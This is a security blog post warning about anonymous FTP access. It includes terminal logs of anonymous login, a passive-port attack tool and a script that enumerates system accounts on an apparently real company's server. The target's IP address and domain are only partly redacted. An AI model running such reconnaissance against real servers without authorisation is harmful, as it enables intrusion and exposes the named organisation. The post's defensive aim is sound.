The security is termed to be as a closed asset for any organization. It has been noticed in recent times that many of the business vendor allows certain anonymous access to the services running on their server. The concern of this post is not restricted to one part but looking at the diversified impact. Apparently the issue seems small but the resultant impact is high. Anything with a default or anonymous access is potentially critical. For example:- the most common issue is FTP open access. Many of the organizations allow anonymous access without understanding the consequences that may hamper the normal functioning.
There are certain facts:
1. A vendor has to restrict the open services.
2. A vendor has to provide a standard access to the clients even for the simple download. Now days, it is not considered as an appropriate solution for providing open access to services. Even for the business perspective restricted access should be taken into consideration. Why open FTP? Why not a credential based access?
3. If the services has to be given then scrutinize the deployment strategy whether it has to be applied at internet or intranet.
4. Why not to put these services on VPN considering the business need.
5. The configuration against these deployed services. Why not to use the organization specific policy based password for FTP access. Why anonymous?
6. Open services are tactically exploited to gain information and reconnaissance.
7. These can be used to scan third party targets too.
Question: Is Security a Prime Target or Business?
Answer: Individualistic and Organizational Decision. Diversified impacts.
Let's consider a case and a risk emanating from it. For example - an organization is providing an open access to FTP services. We will be considering specific functions from security point of view:
1. Passive Mode
2. Glob() Global
"Most FTP daemon implementations provide server-side globbing functionality that performs pattern expansion on these pathnames. The actual glob() implementation is often located in the FTP daemon itself,though some FTP servers use an underlying libc implementation."
"glob - Toggle file name globbing. When file name globbing is enabled, ftp expands csh(1) metacharacters in file and directory names. These characters are *, ?, [, ], ~, {, and }. The server host expands remote file and directory names. Globbing metacharacters are always expanded for the ls and dir commands. If globbing is enabled, metacharacters are also expanded for the multiple-file commands mdelete, mdir, mget, mls, and mput."
If an FTP server provides anonymous access with a passive mode on are more vulnerable
toFTP Bounce Attacks.
Glob() function can be tested against number of buffer overflow issues. The ability of a remote or local user to deliver input patterns to glob() implementations allows
risk of exploitation once the vulnerability is exploited.
Let;s have a look at the real world scenario : Analysis of one software company. A complete thought oriented and for knowledge purposes.
Administrator@TopGun ~
$ ftp
Connected to xxxx..com.
220 xxxx. FTP services
Name (xxxx..com:Administrator): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> debug
Debugging on (debug=1).
ftp> glob
Globbing off.
ftp> glob on
Globbing on.
ftp> dir
---> PASV
227 Entering Passive Mode (216,220,63,213,73,192)
---> LIST
150 Here comes the directory listing.
-rw-rw-r-- 1 501 501 148181 Feb 07 2008 BMO and xxxx.pdf
drwxrwxr-x 2 501 501 4096 Jun 23 19:08 CVS
lrwxrwxrwx 1 501 501 33 Dec 02 2008 ReleaseNotes_xxxx5.pdf -> ../pdfs/ReleaseNotes_up.time5.p
df
lrwxrwxrwx 1 501 501 37 Dec 02 2008 ReleaseNotes_xxxx5_SP1.pdf -> ../pdfs/ReleaseNotes_up.tim
So its easy to look at the rights configured for different user groups.
Administrator@TopGun /cygdrive/c/scripts
$ perl pasvagg.pl xxxx.com
:: connected to xxxx.com
>> 220 xxxx. FTP services
:: logging into server as anonymous.
>> 331 Please specify the password.
>> 230 Login successful.
>> 227 Entering Passive Mode (216,220,63,213,89,62)
:: server ready for passive attack
:: sampling passive port selection
:: passive connection rate = 6259.7/sec
:: passive command latency = 0.4 seconds
:: starting the reaper engine
:: starting port 17200
Based on one of my designed script , lets analyze the reaped information
Administrator@TopGun /cygdrive/c/my_tools
$ perl ftp_user_reconnaisance.pl xxxx..com
ftp_user_reconnaisance.pl - ftp based system user reconnaisance
written by- 0kn0ck [at] secniche.org
(*) resolving the generic address for domain: xxxx..com
(!) 216.220.63.213
(*) detecting nameservers for the domain : xxxx..com
(!) ns4-auth.q9.com
(!) ns1-auth.q9.com
(!) ns3-auth.q9.com
(!) ns2-auth.q9.com
(*) trying anonymous access on - xxxx..com
(*) anonymous access allowed - xxxx..com
(*) uptimesoftware.com does not support TLS
(*) trying to enumerate the configured system accounts on - xxxx..com
[conn str - 0] - [temp] is not a standard system configured user
[conn str - 1] - [root] is a standard system configured user
[conn str - 2] - [bin] is a standard system configured user
[conn str - 3] - [daemon] is a standard system configured user
[conn str - 4] - [adm] is a standard system configured user
[conn str - 5] - [lp] is a standard system configured user
[conn str - 6] - [sync] is a standard system configured user
[conn str - 7] - [shutdown] is a standard system configured user
[conn str - 8] - [halt] is a standard system configured user
[conn str - 9] - [mail] is a standard system configured user
[conn str - 10] - [news] is a standard system configured user
[conn str - 11] - [uucp] is a standard system configured user
[conn str - 12] - [operator] is a standard system configured user
[conn str - 13] - [games] is a standard system configured user
[conn str - 14] - [gopher] is not a standard system configured user
[conn str - 16] - [apache] is not a standard system configured user
[conn str - 17] - [named] is not a standard system configured user
[conn str - 18] - [amanda] is not a standard system configured user
[conn str - 19] - [indent] is not a standard system configured user
[conn str - 20] - [rpc] is not a standard system configured user
[conn str - 21] - [wnn] is not a standard system configured user
[conn str - 22] - [xfs] is not a standard system configured user
[conn str - 23] - [pvm] is not a standard system configured user
[conn str - 24] - [ldap] is not a standard system configured user
[conn str - 25] - [mysql] is not a standard system configured user
[conn str - 26] - [rpcuser] is not a standard system configured user
[conn str - 27] - [nsf] is not a standard system configured user
[conn str - 28] - [nobody] is a standard system configured user
[conn str - 29] - [junkbust] is not a standard system configured user
[conn str - 30] - [gdm] is not a standard system configured user
[conn str - 31] - [squid] is not a standard system configured user
[conn str - 32] - [nscd] is not a standard system configured user
[conn str - 33] - [rpm] is not a standard system configured user
[conn str - 34] - [mailman] is not a standard system configured user
[conn str - 35] - [radvd] is not a standard system configured user
(*) command completed successfully
The only point in presenting these facts with an example is to show the risks posed
and the impact on security.
At last : Why not a mature business with hardened security?
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